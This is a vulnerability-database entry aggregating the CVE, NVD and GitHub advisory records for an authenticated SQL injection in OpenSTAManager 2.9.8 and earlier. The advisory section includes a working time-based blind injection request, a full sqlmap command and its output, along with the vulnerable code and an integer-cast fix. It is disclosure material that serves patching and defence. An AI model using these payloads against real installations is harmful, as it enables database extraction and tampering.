CVE-2025-69214 (GCVE-0-2025-69214)
Vulnerability from cvelistv5 – Published: 2026-02-06 18:11 – Updated: 2026-02-09 15:29
VLAI
EPSS
VEX
Title
OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)
Summary
OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, an SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-09 15:20 UTC
CWE
- CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/devcode-it/openstamanager/secu… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| devcode-it | openstamanager |
Affected:
<= 2.9.8
|
guessed |
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FKIE_CVE-2025-69214
Vulnerability from fkie_nvd - Published: 2026-02-06 19:16 - Updated: 2026-06-17 10:00
Severity
Summary
OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, an SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m | Exploit, Vendor Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| devcode | openstamanager | * |
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GHSA-QJV8-63XQ-GQ8M
Vulnerability from github – Published: 2026-02-06 18:04 – Updated: 2026-02-10 01:16
VLAI
Summary
OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)
Details
Summary
A SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.
Proof of Concept
Vulnerable Code
File: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
Data Flow
- Source:
$_GET['options']['matricola']→$superselect['matricola'] - Vulnerable: User input concatenated directly into
IN()clause without sanitization - Sink: Query executed via AJAX framework
Exploit
Manual PoC (Time-based Blind SQLi):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
SQLMap Exploitation:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
Impact
- Data Exfiltration: Time-based blind SQL Injection allows complete database extraction
- Authentication Bypass: Access to sensitive component and equipment data
- Data Manipulation: Potential unauthorized modification of records
Remediation
Cast values to integers before using in SQL:
Before:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
After:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
Credit
Discovered by: Łukasz Rybak
Severity
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{
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69214"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T18:04:32Z",
"nvd_published_at": "2026-02-06T19:16:07Z",
"severity": "HIGH"
},
"details": "## Summary\nA SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter.\n\n## Proof of Concept\n\n### Vulnerable Code\n**File:** `modules/impianti/ajax/select.php:122-124`\n\n```php\ncase \u0027componenti\u0027:\n $impianti = $superselect[\u0027matricola\u0027];\n if (!empty($impianti)) {\n $where[] = \u0027`my_componenti`.`id_impianto` IN (\u0027.$impianti.\u0027)\u0027;\n }\n```\n\n### Data Flow\n1. **Source:** `$_GET[\u0027options\u0027][\u0027matricola\u0027]` \u2192 `$superselect[\u0027matricola\u0027]`\n2. **Vulnerable:** User input concatenated directly into `IN()` clause without sanitization\n3. **Sink:** Query executed via AJAX framework\n\n### Exploit\n\n**Manual PoC (Time-based Blind SQLi):**\n```http\nGET /ajax_select.php?op=componenti\u0026options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=\u003cvalid-session\u003e\n```\n\u003cimg width=\"1306\" height=\"581\" alt=\"image\" src=\"https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011\" /\u003e\n\n**SQLMap Exploitation:**\n```bash\nsqlmap -u \u0027http://localhost:8081/ajax_select.php?op=componenti\u0026options[matricola]=1*\u0027 \\\n --cookie=\"PHPSESSID=\u003csession\u003e\" \\\n --dbms=MySQL \\\n --technique=T \\\n --level=3 \\\n --risk=3\n```\n\n**SQLMap Output:**\n```\n[INFO] URI parameter \u0027#1*\u0027 appears to be \u0027MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\u0027 injectable\nParameter: #1* (URI)\n Type: time-based blind\n Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI\nback-end DBMS: MySQL \u003e= 5.0.12\n```\n\u003cimg width=\"1228\" height=\"801\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b0b7078b-09a7-4e53-956c-baf1d09ed59b\" /\u003e\n\n## Impact\n- **Data Exfiltration:** Time-based blind SQL Injection allows complete database extraction\n- **Authentication Bypass:** Access to sensitive component and equipment data\n- **Data Manipulation:** Potential unauthorized modification of records\n\n## Remediation\n\nCast values to integers before using in SQL:\n\n**Before:**\n```php\n$impianti = $superselect[\u0027matricola\u0027];\nif (!empty($impianti)) {\n $where[] = \u0027`my_componenti`.`id_impianto` IN (\u0027.$impianti.\u0027)\u0027;\n}\n```\n\n**After:**\n```php\n$impianti = $superselect[\u0027matricola\u0027];\nif (!empty($impianti)) {\n $ids = array_map(\u0027intval\u0027, explode(\u0027,\u0027, $impianti));\n $where[] = \u0027`my_componenti`.`id_impianto` IN (\u0027.implode(\u0027,\u0027, $ids).\u0027)\u0027;\n}\n```\n\n## Credit\nDiscovered by: \u0141ukasz Rybak",
"id": "GHSA-qjv8-63xq-gq8m",
"modified": "2026-02-10T01:16:41Z",
"published": "2026-02-06T18:04:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69214"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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